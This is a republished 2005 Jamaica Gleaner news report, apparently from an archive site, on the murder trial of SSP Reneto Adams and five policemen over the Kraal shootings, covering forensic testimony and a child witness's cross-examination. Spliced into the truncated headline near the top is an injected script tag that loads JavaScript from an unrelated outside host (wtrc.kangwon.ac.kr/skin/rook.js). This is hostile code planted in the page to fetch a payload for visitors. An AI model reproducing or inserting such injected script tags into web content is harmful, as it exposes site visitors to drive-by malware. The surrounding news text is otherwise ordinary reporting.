NEWS > 26 November 2005

Article sourced from

Senior Superintendent of Polic<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Jamaica Gleaner - Kingston, Ja
26 November 2005

This article appeared in the above title/site.
To view it in its entirity click this link.

Senior Superintendent of Polic

Statements turned down as evid

THERE WERE many interesting developments this week at the trial of Senior Superintendent Reneto Adams and the other five policemen charged with the murder of four civilians at Kraal, Clarendon, on May 7, 2003.

Strong objections on Monday from defence lawyer Jacqueline Samuels-Brown prevented a United Kingdom consultant forensic scientist from telling the court of the experiment which he conducted on a rifle taken from the crime scene at Kraal, where four civilians were fatally shot just over two years ago.

Dr. Geoffrey Maxwell Roe from the University of Liverpool had conducted the experiment on the rifle at the Supreme Court building on November 15, after it was tendered in evidence as an exhibit at the trial in the Home Circuit Court.

On Thursday, Chief Justice Lensley Wolfe "in the interest of justice" turned down an application by the prosecution to tender the statements which the policemen gave in connection with the shooting incident at Kraal.

Constable Donovan Thompson wept as he testified on Tuesday that while he was searching a man at the house in Kraal, he heard explosions and the man fell beside him.

Defence lawyers suggested to Thompson, who is now living abroad, that he was lying for various reasons including the fact that he was investigated in connection with a stolen motor car and licence plates but he said he was speaking the truth.

After identifying the rifle in a video clip in court and in photographs, Dr. Roe said that if the body was dragged past the strap of the rifle in the position in which it was on the floor, it would not have remained in that position.

OBJECTED TO EVIDENCE

Mrs. Samuels-Brown objected to the evidence being led. She said the experiment was conducted after the firearm was tendered in evidence. She stressed that the court's permission was not sought for the experiment to be conducted. She said the defence was not aware that the experiment was done last week, and said further that the integrity of the so-called experiment was called into question. She said no proof was supplied to the defence that a body was dragged and at what stage.

Kent Pantry, Q.C., Director of Public Prosecutions, who was examining the witness, said based on the objections raised, he would not pursue that line of evidence any further.

Chief Justice Lensley Wolfe said "What I am troubled about is that there is no evidence up to this point that anyone was dragged and what is the purpose of this experiment."

"I have withdrawn that line of question," Mr. Pantry replied.

The witness was asked by Mr. Pantry if he expected to see blood on the rifle. Defence lawyer Earl Witter objected to the question on the basis that the witness was not competent to say what he found on the rifle, and added that the tribunal of fact (the jury) could see that for themselves.

"Did you observe if blood was on the rifle?' the Chief Justice asked, but the witness replied "No."

Dr. Roe said that the case file was sent to him and it contained copies of statements from Constable Joshua Brown ( now deceased) and Corporal Franklin Brown, both of the Crime Scene Unit in the Jamaica Constabulary Force, a certificate from govern-ment forensic analyst Sherron Brydson and photographs and a video recording of a television coverage of May 7, 2003.

CONDUCTED EXPERIMENT

The purpose of his examination was to determine whether there was any evidence in the photographic evidence to indicate whether blood distribution supported allegation that a body with bleeding wounds was dragged across the floor.

He said it was also to determine whether a rifle and cartridge case reached the final position before or after the blood being smeared on the floor.

When he said that the experiment he conducted on November 15 was designed to show that the strap of the rifle did not spring back if pushed towards the rifle and if the body was dragged past the strap in that position the strap would not have remained in that position, Mrs. Samuels-Brown, who represents SSP Adams, objected to evidence being led in relation to the experiment.

Professor Derrick John Pounder, a medical doctor and professor of forensic medicine at the University of Dundee, Scotland who said he was a humanist, testified that he was asked by Amnesty International based in London to come to Jamaica to observe the autopsies on the four deceased and prepare reports on his observation.

The Chief Justice queried whether the purpose of calling the witness was for him to say what government forensic pathologist Dr. Kadialaya Prasad had already said.

Prosecutor Terrence Williams disclosed that the professor had visited the locus and was bringing to the case added experience to what Dr. Prasad had done. He said the Crown could call a witness to affirm what had already been done.

The professor described the wounds to the body as high velocity gunshot wounds.

He was questioned in particular to the body of Angella Richards and he said assuming she was sitting on a bed then clearly it would be difficult for her to have been shot in the left side in an upward position.

The professor said that the wound to the chest could have been inflicted by a person adjacent to the bed .

The Chief Justice asked the prosecutor if he had evidence to support the likely positions he was putting to the professor . The Chief Justice said the positions being put were highly speculative.

CONSISTENT WITH RUNNING

In answer to attorney-at-law Earl Witter, the professor said the injuries to three of the deceased was consistent with them running at the time of the infliction of the injuries. (Richards was not included).

Cross-examined by attorney-at-law Valerie Neita-Robertson, the professor said from the injuries he saw to the right side of Matthew James' chest it was his opinion that the upper arm was raised.

Asked if the injuries would be consistent with a person holding the arm out in shooting position, the professor said "Yes."

He said the gunshot wound to Richards' neck would be consistent with bullet ricocheting on a hard surface like concrete or metal.

He said there were injuries to the deceased which were consistent with double tapping and that meant that persons who were trained in the use of firearm did not fire a single shot but instead fired two shots in quick succession.

10-y-o admits to some 'confusion'
SHANICE STODDART, the daughter of Lowena Thompson, one of the women shot dead at Kraal, had testified last week that she saw a policeman squeezing the neck of Angella Richards.

Shanice was further cross-examined on Tuesday. When she went into the witness box, she said she was not comfortable where she was sitting.

The Chief Justice asked her if she wanted to sit on the Bench with him and she said yes. She went there to sit, but after a short adjournment Shanice went back into the witness box and continued her evidence.

DID NOT REMEMBER

She was shown her statement which she gave to the police six days after the incident. It was pointed out to her that she did not tell the police in that statement that anybody squeezed Angie's neck and she said she did not remember.

It was also pointed out to her that she did not tell the police that she was sitting in Angie's lap after she and Angie came form under the bed she said "I don't remember."

She was shown the statement she had given and asked if she agreed that when she came from under the bed someone held her hand and took her outside and she agreed that was what she had said in the police statement.

It was suggested to her that she had told a resident in the community at Kraal that after she came from under the bed, she was sitting in her mother's lap but she said no.

MEN CAME WITH PAPER

She admitted that when she went outside for a break last week she was in a room on the Supreme Court building when two white men came there and tried to speak to her.

She said she did not want to speak to them and one of them sent her a note. When he gave her the piece of paper, she said she told him that the judge told her not to speak to anybody.

One of the men sent her a note and she read the note. She admitted that one of white men bent down and whispered in her ear.

However, Chief Justice Lensley Wolfe said that did not demonstrate that Shanice was influenced. Shanice admitted that a lot of things happened at Kraal and she was confused about some of the things.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Jamaica Gleaner - Kingston, Ja26 November 2005

Statements turned down as evid

EiP Comments:

Jamaica Gleaner - Kingston, Ja
26 November 2005